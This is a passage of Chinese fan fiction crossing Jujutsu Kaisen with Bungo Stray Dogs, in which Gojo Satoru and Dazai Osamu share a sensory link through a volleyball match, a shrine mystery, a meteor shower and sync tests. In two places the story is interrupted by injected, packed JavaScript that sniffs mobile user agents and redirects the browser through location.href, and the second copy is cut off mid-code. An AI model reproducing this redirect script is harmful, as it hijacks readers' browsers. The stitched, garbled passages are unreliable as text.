“没关系啦,玩玩而已!”虎杖热情洋溢地邀请道。 五条悟在一旁煽风点火:“去啊,青花鱼,让我看看,你能创造出怎样的喜剧效果。” 最终,太宰治被半推半就地拉上了场。结果果然……惨不忍睹。 他接球像慢动作,扣球软绵无力,跑动时仿佛随时会被海风吹走。 五条悟忍不住笑出声,换来太宰治一个隔空飞来的白眼,不过毫无杀伤力。 偏偏链接的存在,让五条悟即使躺在沙滩椅上,也能同步感受到太宰治运动时肌肉的酸软、接球失败时手掌的微痛,以及那种……微妙的挫败感。 “太宰先生!左边!” “太宰先生!跳起来!” “太宰先生……球在你后面……” 搭档一局一轮换,但谁和太宰治一组,谁就变成全场最无奈之人。 虎杖满场飞奔救球,累得像只小狗;伏黑惠一脸无语;钉崎野蔷薇则暴躁地大喊:“太宰先生!你是对方派来的卧底吗?” 场面一度十分混乱。 比分迅速被拉大,太宰治所在的一方,惨遭对面碾压。输得毫无悬念,等同公开处刑。 五条悟看着太宰治徒劳的样子,以及通过链接传来的,无奈加摆烂情绪,忽然觉得有点……不爽。 是的,他一点都不希望这青花鱼在别人,尤其是他的学生面前,丢任何一点脸面。 他啧了一声,突然从沙滩椅上站起来,快步走向球场,高大的身影带起一阵风。 “喂,换人!”他一把揽住太宰治的肩膀,将人往自己身后带了带,对着虎杖他们宣布,“老子跟这笨蛋一队。” 太宰治叹气道:“五条先生是专程过来看我笑话的吗?” “是来让你体验一下,什么叫躺赢。”五条悟压低声音,墨镜后的目光扫过球场,“还记得我们和乌野打的那场吗?我和你配合,一定没问题。” 比赛重新开始,局面瞬间逆转。画风从搞笑片,切换到了热血竞技番。 当对面一记猛烈的扣杀,直奔他们而来时,太宰治刚分析出点位,五条悟已经如预知般,移动到了最佳位置,轻松将球垫起,弧度完美地送到了太宰治面前。 “青花鱼,发什么呆?”五条悟喝道。 太宰治下意识抬手,几乎是本能地,将那个恰到好处的传球轻轻一托——他甚至没用什么力,球就以一条诡异而漂亮的弧度曲线,绕过了前排防守队员,轻飘飘地落在了对方场地的死角。 优雅,且致命。 得分。 全场寂静了一秒。 “咦?狗屎运吗?”虎杖眨了眨眼。 “巧合吧……”钉崎喃喃道。 下一球,伏黑惠试图用假动作骗过五条悟,球飞向边线。五条悟动都没动,只是用一个眼神示意:“右边,低一点。” 太宰治几乎是同步向右边移动,他身体微蹲,手臂伸出——那个看似救不到的球,正好落在了他的小臂上,然后被稳稳垫起,再次送到了五条悟的前上方,长了眼睛一般。 五条悟甚至没有起跳,只是手腕一抖,球就似被计算好轨道,高速飞过,砸在了对方场地的底线上。 又得一分。 这一次,不再是巧合。 他们之间没有任何战术交流,没有手势,甚至眼神确认也是偶尔。 太宰治通过链接,传递着对手的意图、球的轨迹、最佳的接球点和力度;五条悟则凭借着惊人的反射神经,和对链接信息的瞬间解读,做出最恰到好处的回应。 一个负责快速洞察与引导,一个负责精确执行与微调。 防守时滴水不漏,进攻时神出鬼没。两人的配合,比老夫老妻还默契,宛如一体,天衣无缝,好像已经在一起打了无数场比赛。 那种超越言语的默契,让场上的虎杖、伏黑和钉崎彻底陷入了震惊和混乱。 “这、这怎么可能?”虎杖看着又一次,从他预料不到的角度得分的球,目瞪口呆。 “他们……根本不用说话啊!”钉崎气道。 伏黑惠皱紧眉头,试图找出破绽,却发现,对方的配合毫无逻辑可言,却又完美得令人绝望。 “喂,下一个球,会从钉崎那边过来,偏高。” “了解。” “悠仁要起跳了,拦网左边。” “收到。” 在链接的无声频道里,信息飞速交换。场上的局势,完全被两人掌控。 最终,比分以惊人的差距被反转,五条悟和太宰治完胜。 比赛结束的瞬间,虎杖瘫坐在沙滩上,眼神放空,嘴巴张得能塞下排球:“我……我好像看到了幻觉……” 钉崎扶着膝盖,大口喘气道:“这两个人合体后……是成了怪物吗?” 连一向冷静的伏黑惠,都露出了难以置信的表情,挑眉道:“这配合非常……不科学。” 五条悟一把勾住太宰治肩膀,得意的像只开屏孔雀:“怎么样?见识到‘最强’带队的能力了吧?名不虚传吧?” 太宰治轻轻拍掉手上的沙子,唇角微勾:“嗯,全靠链接作弊,确实很方便呢。” 五条悟哼了一声,没有反驳。 他不得不承认,尽管这链接麻烦透顶,但在某些时候,这种近乎心灵相通的协同,确实……真他妈好用。 阳光依旧炽烈,海风依旧咸涩,但沙滩排球场边,学生们看向那两位的眼神,已经彻底变了。从“一对麻烦的搭档”,到现在的“需要仰望的大佬”,充斥了震撼与困惑,强者滤镜,瞬间拉满。 而两位当事人之间,那层若有若无的隔阂,似乎也在这次酣畅淋漓的胜利中,被悄然撬开了一道微小缝隙。 夜晚,是传统的试胆大会。学生们需要穿过一片据说有咒灵出没的小树林,到达指定的神社。 五条悟和太宰治作为监护人,慢悠悠地跟在学生队伍后方。 林中阴风阵阵,偶尔传来几声乌鸦啼叫,气氛渲染得相当到位。 虎杖和钉崎打头阵,充满干劲;伏黑惠冷静地观察四周;有的学生则因为害怕而战战兢兢,甚至抱成一。手电筒光在林子里,晃成碎星。 果然,在接近神社时,几只被此地阴暗气息吸引来的咒灵冒了出来,发出嘶哑嚎叫,扑向学生们。 “啊——”尖叫声此起彼伏。 “啧,麻烦。”五条 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太宰治:“别靠那么近。” 五条悟:“是你自己撞过来的。” 五条悟:“感知干扰到我了。” 太宰治:“是你控制力太差。” 他们低声互相指责,动作却越发流畅,就如两个互相排斥,却又不得不咬合的齿轮。 很快,咒灵被清理干净,学生们惊魂未定,又带着崇拜看着他们。 一行人来到了目的地——一座似乎早已被废弃的破败小神社。鸟居腐朽,石灯笼倾倒,荒凉气息满溢。 虎杖悠仁好奇心重,在神社里四处查看,走了半圈后,他忽然在一处残破的壁画前,停了下来:“咦?这是什么?” 众人围了过去。 壁画斑驳脱落严重,但隐约能看出,描绘着某种古老的仪式。 画面的中心,是两个模糊人形,他们的胸口位置,各有一个散发着光芒的图案。而连接这两股光芒的,是一条如锁链,又如光带的线条。 而线条的交汇处,刻着一个虽然残缺,但仍可辨认的符号——λ。 伏黑惠皱起眉:“这个符号……” 钉崎补完:“看起来好诡异。” 五条悟和太宰治对视一眼,都在对方眼中,看到了凝重。 他们让学生先去安全地带,稍作休息:“接下来的内容,少儿不宜。” 此处便只剩他们二人。 太宰治走上前,指尖轻轻拂过壁画上,λ符号下方的残缺刻痕,那里似乎还残留着一些古老文字,多数已被利刃硬生生剜去,断断续续,表意不明。 他俯身凑近,鼻尖几乎蹭上墙面,念出这些古文,声音很轻,不愿惊动任何无关生物:“……以双生为契……引魂火……共鸣……破者得钥,合者……” 后面只剩石壁破口,太宰治的声音也消散在风里。 五条悟推起墨镜,六眼微微闪烁,捕捉着壁画上微弱的咒力痕迹,那痕迹,与λ符号紧密相连。 他抱起双臂,嘴角扯出弧度,眼底却无笑意:“双生为契,魂火共鸣,缺一不可……呵,这描述,听起来是不是有点耳熟?” 非常熟,就像他们的链接。 两个独立个体,因为诅咒和阴谋,被一条无形锁链强制连接起来,共同驱动着某种……连他们自己都尚未完全明了的力量,同时也蕴含着他们自己未知的巨大危险。 λ符号,和双生缚,又存在何种联系呢? 阳光沙滩的喧闹,仿佛犹在耳边,但在这破败神社中,阴冷空气里,寒意正顺着石壁文字的纹路,悄然弥漫开来,往两人骨缝里钻。 “别多想。”五条悟把太宰治拉近,声音里有一种令人安心的笃定。“不过是块石头上的鬼画符。但……如果真和我们的链接有关……” 太宰治低头,瞥向自己与五条悟接触过的手背,那里似乎还残留着战斗时的灼热,他又看向五条悟,忽然笑了:“管他呢,反正……” “反正我们能赢。”五条悟接话道,语气郑重而嚣张。 “不管是球赛、咒灵、老天爷,或者哪个见不得人的家伙安排的破链接……我们一定能赢。” 37.第37章 修学旅行结束,所有人回归到日常生活中。 喧嚣海浪与灼热阳光,被都市霓虹所取代,而五条悟和太宰治之间,某些东西,似乎也被一起改变了。 在经历了这段时间的密集共处后,那条绑定他们的链接,又进一步悄然进化——它开始不受控制地泄漏情绪。 除了痛楚、快感和另一些明确的感官内容,还有一些非常细微,甚至转瞬即逝的情绪碎片。 比如喜悦、安逸、困倦……就像收音机接收不良时,来自遥远频道的只言片语,会偶尔窜入耳中。 两边的头头看这两人暂时相安无事,原先的同居要求,改成了非强制。不过还是建议,每周同住一天,可以互相交流,共通有无,也能互相牵制,避免任何一人过于放飞。 五条悟接到这个消息,愣了一下:“哦,真的不需要继续住一起了吗?” 家入硝子瞟他一眼:“怎么感觉你很失落?” 五条悟嘴硬道:“我是担心那家伙惹麻烦好不好!” 太宰治接到通知时,脸上看不出什么表情,只是目光在安全屋的绷带巢穴,以及按摩椅上,停留了片刻。 于是两人各回各家,各找各老大,平日里也是各忙各的,本已到达了一个微妙平衡,但链接却总是在他们不经意时,跳出来秀一秀存在感。 周一,太宰治躺在沙发上,阅读着一本俄国小说,午后阳光暖融融地照在身上,书页上的字句渐渐模糊,一股深沉浓烈的困意,排山倒海涌了上来。 他刚张开嘴,远在东京教室里的五条悟,也被按下了同步按键,当着全班学生的面,结结实实地打了个哈欠,声音悠长,甚至还带了点泪花,打出了毁天灭地的磅礴气势。 “五条老师,您昨晚是做贼去了吗?”钉崎野蔷薇忍不住吐槽。 五条悟揉着眼睛,一脸莫名:“怪了,老子明明睡得很足……” 别人只当他身体很诚实,嘴巴却很硬。 但随即,五条悟反应过来,对着链接另一端不爽道:“青花鱼,昨晚又熬夜了?现在要睡自己睡哈,别用老子的身体打哈欠。” 太宰治的哈欠被打断,很不优雅地憋了回去,悻悻翻了个身:“唉,连打哈欠的自由都没有,这链接真是专制……不对,是你太专制。” 周二,太宰治在横洋街边闲逛时,看到一副墨镜,造型极其夸张,荧光色,且镶满水钻。他内心,不禁涌起一股复杂情绪——这东西丑得很有创意,好像挺适合那个白痴的。不知不觉中,他已经直奔这种灾难性审美而去。 与此同时,正在银座逛街的五条悟,脚步不受控制地走向一个橱窗。那里的人偶模特,戴着一条风格无比阴郁的暗红色围巾。 然后五条悟对店员说:“这个,包起来。” 说完,他自己都愣住了,看着那条围巾皱眉:“老子为什么会买这种……青花鱼风格的东西?” 而横滨的太宰治,看着手里莫名其妙买下的,闪瞎眼的彩虹墨镜,陷入了沉思:“我的品味……终于被同化到这种地步了吗?” 周三,国木田正在汇报一个棘手的情报,表情严肃。太宰治听着听着,一股类似于恶作剧得逞般、轻快而幼稚的得意情绪,毫无预兆撞入他的意识。 链接另一端,五条悟刚刚成功地把粉笔头丢进了七海建人后衣领里,正捂着嘴,肩膀耸动,眼睛笑成了月牙。 这情绪过于鲜明,太宰治脸上,表情管理出现重大失误,不受控地露出了一个与现场气氛极其不符,还带着点坏心眼的笑容。非常突兀,等于在严肃的交响乐中,突然插进了一段欢快儿歌。 国木田的声音戛然而止,疑惑又愤怒地看向这个莫名其妙的摸鱼者,血压开始飙升:“太宰,这个情报……很好笑吗?” 太宰治瞬间收敛笑容,干咳两声:“咳,没有,您继续。我只是……想到高兴的事情。” 内心却在咆哮:“五条悟,收敛点!干扰我处理正事了!” 五条悟那边正心情愉快,感受到链接传来的无奈,回应道:“怎么啦?一起开心不是挺好?” 周四,五条悟在高专办公室里,百无聊赖地听着夜蛾校长训话时,偏过头,就看见一只优雅的三花猫,迈着矜持的步伐从窗外走过。 常见的简单场景,却让他此刻的内心里,涌起一股猫瘾,想要扑上去,狠狠揉搓那身毛皮,连手指,也不自觉地蜷缩了一下。突如其来的柔软心情,跟中了甜蜜诅咒似的。 这种冲动和喜爱,超越了他的正常范畴。很快,五条悟反应过来,面无表情地看向横滨方向——某个缠着绷带的家伙,大概又在不知羞耻地骚扰街边的流浪猫了。而五条悟远程吸猫,体验感十足,就是有点费情绪。 果然,链接那头传来一阵满足的愉悦。“多事,连对猫的喜欢都要强行共享吗?” 五条悟低声吐槽道。 横滨那头,太宰治抱着猫,疑惑地摸了摸自己的脸:“奇怪,刚才好像突然被嫌弃了?” 一而再再而三,两人试图屏蔽,切断这烦人的情绪干扰。但就像用手去堵漏水的管子,越是用力,水流反而从指缝间喷溅得更加激烈。 当他们集中精神意欲抗拒时,那些情绪碎片反而变得更加清晰具体,直接在心底低语起来。 五条悟试过用六眼做屏障,把注意力,都集中在观察周围的咒力流动上,可那些情绪偏要钻过视线缝隙——太宰治看海时,睫毛闪烁的倦意;深夜改报告时,笔尖顿住的烦躁;甚至是喝到怪味饮料时,舌根抽动的微妙表情,都被放大,在他脑子里一帧帧闪。 太宰治更绝。他把自己泡在侦探社的沙发里,试图用“人间失格”切断感知,结果,链接里的情绪反而漫成洪水——五条悟在训练场,踢飞石子的不耐;看到夏油杰旧照片时,瞳孔收缩的刺痛;甚至是他偷偷给受伤的校猫涂药膏时,心底漫开的软意。 周五,两人在安全屋见面时,五条悟终于忍不住抱怨道:“今天中午,你吃咖喱饭被呛到的烦躁,直接在我脑子里放了好几遍回放!” 太宰治正用钢笔在报告上画小乌龟,闻言抬眼,瞳孔里浮着点笑意:“今早,你把我留在窗台上的盆栽给浇成了水培是吧?那句‘糟了糟了糟了’在我这边循环了很久,让我对着一份做得挺完美的报告也皱眉了很久。” “哦,那还不是因为你……”五条悟梗着脖子嘟囔了一句,耳尖已然开始发烫。“你说实话,我浇花时,你是不是正在发呆?否则老子怎么会没反应过来!” 太宰治回想了一下:“有可能,我大概正在思考要不要去看今晚的流星雨……不过,这也能影响到你?你也太易感了吧。” 五条悟扯着嗓子道:“那是因为老子感觉敏锐好不好?这比共享痛觉还麻烦啊!本来痛一下就完了,这玩意儿却没完没了。” 太宰治没接话。他望着五条悟发红的耳尖,轻轻按压着太阳穴,低声道:“因为情绪……比单纯的物理感知,更接近存在的本质。疼痛可以被意志力在一定程度上,忽略或适应,但情绪……尤其是这种细微的情绪流露,根植于潜意识深处,所以大概更难被屏蔽。” 五条悟深吸一口气,颇感无奈。 语毕,太宰治走到窗前,手指轻轻摩挲着盆栽的花枝和叶片。这盆花早上遭受了无妄之灾,把它留给这个不靠谱的家伙,大概也不算明智之举。不过,无论怎样,总比没人关注它,没人照顾它,要好得多。反正非娇生惯养的名贵品种,只要有阳光和水分,就能努力扎根,认真成长。 他忽然明白了一件事:对于链接,当他们试图抗拒时,那些原本模糊的情绪碎片,也正顺着意识的裂缝,长成更清晰的根系。 正当他沉浸在纷乱思绪中时,五条悟略带点别扭的出声道:“喂,你早上发呆考虑的结果是什么?晚上去看流星雨么?老子知道个地方,视野绝佳……要不要一起?” 他难得用了一种邀请而非通知的语气。 太宰治望向他,目光微动,唇角勾起:“去啊,那就一起。” 然后没等五条悟回话,他又慢悠悠道:“五条先生是终于愿意和我一起被流星砸死,达成浪漫殉情了吗?” 五条悟白他一眼:“以后少说这些不吉利的话,老子福大命大,流星看到我也得转个弯。” 夜幕降临,他们开车到达了一处城郊的山坡,这里远离城市光害,视野相当开阔。 两人走下车,寻找到了一个合适的观赏位置。太宰治铺开野餐垫,五条悟打开了一个一看就价格不菲的保温箱。 保温箱里,放着冰镇饮料、各式高级甜品,甚至还有几盒切好的水果。 “五条先生是打算在这里野餐?”太宰治问道。 “看流星嘛,总得有点气氛。”五条悟拿起一罐啤酒抛给太宰治,“别说老子亏待你。” 太宰治接过啤酒,打开灌了一口,冰凉触感透过指尖和口腔,一路下行,清冽的甘甜和微苦交织。 夜空清澈,星河低垂。远离了都市的喧嚣,四周只有虫鸣和微凉山风。 最初的沉默有些僵硬,两人都下意识地注意着链接那头的动静,生怕又泄漏什么不该泄漏的情绪,或者,接收到什么不该让自己觉察的感觉。 但是没多久,他们便回到了原来的自然相处中,身旁之人,总是能让自己慢慢放松下来。 等待时间有美食作陪,便不会无聊。 五条悟拿起一块奶油蛋糕,幸福地咬了一大口,满足感刚刚升起,链接那头就传来太宰治一阵清晰意念:热量太高啦,糖分超标啦,身材走形啦,要得蛀牙啦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644346|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快乐被打折,五条悟咀嚼的动作一顿,没好气地瞪向太宰治:“喂,老子吃个蛋糕你也要管?” 太宰治无辜地眨眨眼:“我只是在内心表达对健康饮食的向往,这也犯法吗?” “啧,不懂欣赏。”五条悟三两口吃完,又去拿下一块,故意吃得更大声,试图用链接,传递更多的幸福感,去间接骚扰对方。 链接诚实地反馈回蛋糕柔软的口感,太宰治突然莫名觉得,好像……也并非难以忍受。 五条悟拿起第三块,想了想,递到了太宰治面前:“试试,这块没有很甜。”动作有试探意味,但表情很真诚。 太宰治犹豫了一下,接过,端详了一会儿,终于下决心般,轻轻咬下一口。 绵软的奶油和酸甜的果香在口中弥漫,比他想象中,要更美味。 五条悟看着太宰治略带惊讶的神情,颇有成就感地叹道:“还不错,是不是?我就说嘛!” 太宰治诚恳地点了点头。不知是因为自己的味觉被链接同化,还是身边之人太有感染力,他居然会开始喜欢这种,曾经那么嫌弃的甜点。 两人仰头看天。 五条悟带了一个便携式的高倍望远镜,自己看了一会儿后,递给了太宰治:“喏,让你也见识一下宇宙的浩瀚,免得你眼里只有那条叫鹤见川的小水沟。” 太宰治接过,刚调整好焦距,看向遥远星团,链接那头就传来五条悟强烈的意念:“快看左边!有UFO!” 当然,这其实是个恶作剧。 太宰治的手却稳如磐石,镜头丝毫未动,淡淡回应道:“这种幼稚的干扰,对我是无效的。” “切,没意思。”五条悟转过头。 链接传来了其计谋未能得逞的一丝小小挫败感,这反倒让太宰治觉得有趣起来,唇角微不可察地弯了一下。 预报里说,这场流星雨会有百颗以上。五条悟的六眼睁大,把流星的轨迹看得一清二楚。太宰治没他那么夸张,却也觉得心跳变快,应该是期待在作祟。 “来了!”五条悟突然坐直。 第一颗流星,拖着璀璨尾焰,突然划过夜空。 接着是第二颗、第三颗……流星接二连三坠落。五条悟兴奋起来,拉着太宰治的手说:“快许愿!” “你好幼稚。”太宰治嘴上嘲笑,却还是任由他拽着。 五条悟在心里默念:“希望老子永远是最强!还有,明年份的毛豆生奶油喜久福千万别停产。” 太宰治看着那颗流星,脑海里飘过的念头是:“如果一定要选一个离开的方式,能恰好被一颗坠落的流星砸中,结束得既壮观又干脆,似乎也不错。” 两人的愿望,通过链接微妙地交织了一下。 五条悟表情古怪地看向太宰治:“……你刚才是不是在想什么很失礼的事情?” 太宰治面不改色:“我在赞叹宇宙的壮丽和生命的渺小。倒是五条先生,许的愿望,恐怕充满了个人主义吧?” 五条悟否认:“那倒不是,只是陈述事实而已哈。” 随着流星雨逐渐进入高峰,一道道银线不断撕裂夜幕,壮丽非凡。 两人之间的斗嘴渐渐平息,都被这自然奇观所吸引。在流星最密集的时刻,夜空仿佛在燃烧,无数光痕,交织成了一场盛大而寂静的演出。 极致美景下,链接似乎也变得安静了。 不再有杂乱的情绪泄漏,取而代之的,是同步的宁静与震撼。 他们共享着这片星空,共享着这份超越凡俗的体验,仿佛某种共鸣,正在悄然滋生。 当一颗尤其明亮的流星,燃烧着划过天际,留下久久不散的光痕时,五条悟忽然低声说了一句,像在自言自语,又像在对身边人说: “希望我们能同心……” 太宰治的心跳漏了一拍,他望着五条悟发亮的侧脸,喉结动了动,轻声接道:“……同心。” 是啊,这才是他真正想要许的愿望。 “然后,”五条悟回头,认真地看着太宰治,星辰在天空,也在他眼中,“我们一起许愿胜利!” “我们,一定会胜利!”他们的声音重叠起来,带着山野的空旷回声,飘向远方。 两人安静了一会儿,一切似乎都像梦幻。 夜风吹过,潮湿微凉,太宰治打了个喷嚏,他有点不好意思地对着五条悟眨眨眼,意为:打破这片宁静,我很抱歉。 “冷了?菜就多穿。”五条悟嘟囔了一句,伸出手,很自然地把太宰治揽到了怀里。 太宰治微微怔住,却没有挣脱。后背倚靠上另一人的胸膛,风被挡住,温暖溢开。 流星的光在夜空里闪耀,照亮了这片大地,也照亮了他们靠近的身影,就像融合在一起。 38.第38章 五条悟把太宰治揽过来的那个动作,起初确实没掺杂太多复杂心思。山风渐凉,搭档打了个喷嚏,他下意识地做了——就像随手拂开挡路的树枝,或者把快要掉下桌的盘子拉回来一样自然。 换一个人,比如虎杖悠仁,或者伏黑惠,他大概也许可能也会有相似反应。既然他是最强,那其他人都比他弱,关爱弱者有错吗?没错。 反正对他来说,没什么人际交往距离感的概念,只有“是不是老子罩着的人”,和“看老子高不高兴”。 但当太宰治略显单薄的后背,真正靠进他怀里,隔着薄薄的衣料传来对方的体温时,他开始后知后觉…… 好像……对方是谁,差别大了去了。换一个人,他会做相同动作,但绝不会有类似心情。 而此刻,他望着太宰治的脸,呼吸突然乱了节奏。 他见过太宰治无数种模样:在横滨码头笑得玩世不恭,在任务里阴沉着脸杀敌,在安全屋和他抢按摩椅时的孩子气……可此刻这副被星光浸透的模样,让他喉结发紧,想要把他藏起来。 “看什么呢?”太宰治歪头,轻声问道。 五条悟猛地回神,他咳嗽一声,扭头假装望天空:“没什么,那颗流星很亮。”欲盖弥彰,演技极差。 他的心脏正在胸腔里,敲起激烈鼓点。 而通过链接,另一道同样失序的心跳声,也清晰传了过来,与他的节奏交织共振,分不清彼此,只觉得耳膜里,全是这喧闹的动静。两颗心隔着血肉与肋骨,发送着无人能解,却又彼此心照不宣的乱码。 太宰治的身体有瞬间的僵硬,但依然没有挣脱。 五条悟的手臂环着他,能感觉到对方微微加快的呼吸频率,以及……某种同样不平静的细微颤栗。 链接很诚实,将这份无措、窘迫、暖意,和难以言喻的心乱如麻,一并打包,传递了过来。 原来,不全是单向。 五条悟想说点什么,但对上太宰治的视线,却读懂了他的隐晦表态:请不要点明,不是现在。 他不懂为什么,但直觉,太宰治藏着一些秘密,而这些秘密,大概是横亘在他们之间,让太宰治用眼神恳请他止步的根本缘由。 星光洒在两人身上,流星已然落幕,但更汹涌的潮汐,却在心底无声涨落。 他们就这样,维持着这个姿势,直到夜风彻底带走最后一颗流星的余温,才起身离开。 回到安全屋后,那种莫名氛围依旧挥之不去。洗漱,各自回房,流程一如既往,但两人都明白,有些东西正在悄悄改变。 链接异常安静,不再泄漏杂乱的日常情绪,反而像是刻意屏住了呼吸,只在深夜里,偶尔传递过一丝温度,或者叹息,提醒着彼此的存在。 第二天清晨,阳光透过窗帘缝隙洒进来。五条悟顶着一头凌乱白发走出卧室,看到太宰治已经坐在餐桌前,慢条斯理地吃着早餐,旁边还放着为他准备的那一份。 气氛有一点微妙的尴尬,一如这个早晨,蒙着一层薄薄晨雾。 五条悟清咳一声,压下那点兵荒马乱,宣布道:“喂,青花鱼,老子想了想,昨天有一段时间,链接好像特别听话。我们趁热打铁,做个同步测试怎么样?” 太宰治从咖啡杯沿上方抬眼看他,眼眸里有了然,还有点看穿一切的戏谑:“五条先生是想测试链接,还是想测试……别的什么?” 五条悟耳根微热,强行忽略那个问题:“当然是测试链接!看看在非战斗状态下,我们能不能达到昨天那种……呃……和谐状态。另外我们必须搞清楚,这链接,现在到底精密到什么程度了,所以可能需要用一些科学手段。”如果能称之为科学的话。 于是,一场由“最强”主导,理由牵强,且非常不严谨的同步率测试,在高专的一间空闲训练室里上演。 伊地知也被请来了,作为他们测试的记录者。主要目的,大概是为了让这场荒诞测试,多一丢丢严谨的意味。 第一项实验,测试静止心率与呼吸。 两人并排坐在地上,计时开始后,便各自用手指,搭着自己的脉搏。 “怎么样,青花鱼,多少?”五条悟问道。 “62。”太宰治报出一个数字。 五条悟皱眉道:“老子的是72。差别这么大?哈,你这家伙,心脏居然跳得这么懒散吗?” 太宰治反驳道:“是五条先生的心脏跳得太急躁了吧?安啦安啦,平静一点,别总像被踩了尾巴的猫。” 五条悟感慨道:“原来我们心率都不在一个频道上,难怪有时候,会感觉你……如此难以理解呢。” 太宰治岔开话题:“那个……过于同频也没必要啦,能互补才有优势。”如果我像你一样,思考靠直觉,行动靠莽撞,再合二为一,世界大概早就毁灭好几次了。 五条悟:“说的也是,那我们来试试,能否同步呼吸。” 太宰治:“好,你喊个节奏吧。” “行,调整呼吸!跟着老子的节奏!吸气——呼气——”五条悟盘腿坐在地板上,一本正经地指挥着。 太宰治配合地尝试了几下,结果不是快半拍,就是慢半拍。 链接将对方呼吸的细微气流声、胸腔的起伏感都放大传递,反而让两人更加在意,呼吸越发紊乱。 “哈,你是故意的吧?呼气那么轻,怕吹跑灰尘似的!” “是你吸气太用力,要把房间里的氧气都抽空吗?” 测试结果:两人因为过度关注呼吸,而差点一起岔气,就更别提节奏同步了。 太宰治分析道:“看来,链接还没进化到连基础代谢都要统一。” 第一项测试,以生理数据不一致告终。 “再试试同步眨眼?” “这个简单。我数三二一,我们一起眨!”五条悟信心满满。 “三、二、一!” 结果,五条悟眨了眼,太宰治慢了半拍。 五条悟指着他大笑:“哈哈哈哈哈,你的脸部肌肉是打了石膏吗?动一下那么难?” 太宰治不承认:“是五条先生的计数节奏感太差好不好?忽快忽慢,像跳楼机一样呢。” 他们互相指责,语气倒并无任何不爽,只是十分像小学鸡。 下一次,太宰治眨了,五条悟却瞪着眼。 几次三番下来,非但没有同步,反而变成了挤眉弄眼和面部错位。 五条悟挑眉毛,太宰治就眯眼睛;太宰治撇嘴,五条悟就咧嘴。 两人开始对着做鬼脸,皱成包子,表情扭曲,能让见者落泪,笑出来的泪。 最后五条悟和太宰治自己也忍不住笑场,便就此作罢。 “行了,别再为难你那张帅脸了。”太宰治揉着发酸的脸颊说道。 “哦,我当你夸我了哈……另外,你刚才那个表情倒是挺可爱的。”五条悟回味了一下。 第二项测试,在幼稚十足的偏向中失败。 第三项:同步发言。 太宰治:“要不你随便想一句话,我们试试能否完全同步?” 于是五条悟“随便”想了一句话:“天上天下,唯我独尊。” 太宰治翻了个白眼。 五条悟:“准备好,一起说,三、二、一,来!” “天——” “上——” 一个声音洪亮,有如炸雷,一个气若游丝,慢慢悠悠,最后拼成“天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两位始作俑者皱眉盯着蝇头消失的地方,好像要让它死而复生,然后再被他们打死一次。 五条悟有点懵逼:“这个……你输出那么猛干嘛?” 太宰治也很无语:“我也想问,不是说好的最小单位咒力吗?你的最小单位是参照什么设定的啊?核爆?” 五条悟:“唉呀,嘴硬,你控制力差就承认吧!” 太宰治:“某人也完全不懂得,什么叫精细操作呢。” 伊地知小声问道:“要不……算测试事故?” “什么?事故?”五条悟挑眉,突然勾住太宰治的脖子往自己这边带了带,“不如说是……同步太成功了?” 太宰治没躲,任由他揽着。 两人靠得近了,五条悟盯着他脸上那点红晕,笑了起来:“你看,刚才那下,我们连咒力波动都同步了,是不是像两根拧在一起的电线,来电太过,然后就炸了。” 太宰治:“嗯,因为你会短路。” 就在两人又开始不着调时,突然…… 他们感受到一阵短暂的眩晕感。链接里,能量紊乱起来,莫名其妙横冲直撞,两人猝不及防,连呼吸都跟着抽痛。 好吧,说什么来什么,这一下,真的像是来电太过。但是,短路的,不是五条悟,也不是太宰治,是链接本身。 而在那过度同步、力量共振的瞬间,他们眼前,清晰闪过了一帧画面: 是某间面积巨大、空间开阔的实验室,金属墙壁,冷色灯光,景象压抑。 而它中心,镶嵌着λ符号。